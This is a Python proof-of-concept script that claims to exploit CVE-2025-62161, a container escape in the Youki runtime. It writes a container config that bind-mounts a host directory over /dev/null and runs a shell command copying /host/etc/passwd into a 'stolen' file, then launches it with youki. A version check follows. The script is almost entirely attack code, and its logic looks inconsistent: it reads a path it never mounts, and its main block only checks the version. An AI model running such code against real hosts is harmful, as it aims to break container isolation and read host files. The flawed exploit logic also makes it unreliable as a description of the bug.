import subprocess
import json
def create_malicious_container():
"""
PoC for CVE-2025-62161: Youki container escape via insufficient /dev/null validation
This PoC demonstrates how insufficient validation of /dev/null in Youki can lead to container escape
"""
# Malicious container configuration that exploits the bind mount vulnerability
container_config = {
"oci_version": "1.0.2",
"process": {
"terminal": False,
"user": {"uid": 0, "gid": 0},
"args": ["/bin/sh", "-c", "cat /host/etc/passwd > /tmp/stolen_data.txt"],
"cwd": "/"
},
"root": {
"path": "rootfs",
"readonly": True
},
"hostname": "exploit-container",
"mounts": [
{
"destination": "/dev/null",
"type": "bind",
"source": "/host",
"options": ["rbind", "rw"]
}
]
}
# Save malicious config
with open('/tmp/malicious_container.json', 'w') as f:
json.dump(container_config, f, indent=2)
print("[-] Malicious container configuration created")
print("[-] Exploiting Youki vulnerability CVE-2025-62161...")
print("[-] The bind mount from /dev/null to /host allows container escape")
# Attempt to run the malicious container
try:
result = subprocess.run(
['youki', 'run', '--config', '/tmp/malicious_container.json', 'exploit-container'],
capture_output=True,
timeout=10
)
print(f"[!] Container execution attempted: {result.returncode}")
except Exception as e:
print(f"[!] Error: {e}")
def check_vulnerability():
"""
Check if Youki version is vulnerable
"""
try:
result = subprocess.run(['youki', '--version'], capture_output=True, text=True)
version = result.stdout.strip()
print(f"[*] Youki version: {version}")
# Check if version is vulnerable (0.5.6 or lower)
if '0.5.6' in version or '0.5.5' in version or '0.5.4' in version:
print("[!] System is VULNERABLE to CVE-2025-62161")
return True
elif '0.5.7' in version:
print("[+] System is patched against CVE-2025-62161")
return False
else:
print("[*] Unknown version, please verify manually")
return None
except FileNotFoundError:
print("[-] Youki is not installed")
return None
if __name__ == '__main__':
check_vulnerability()
print("\n[*] For educational purposes only")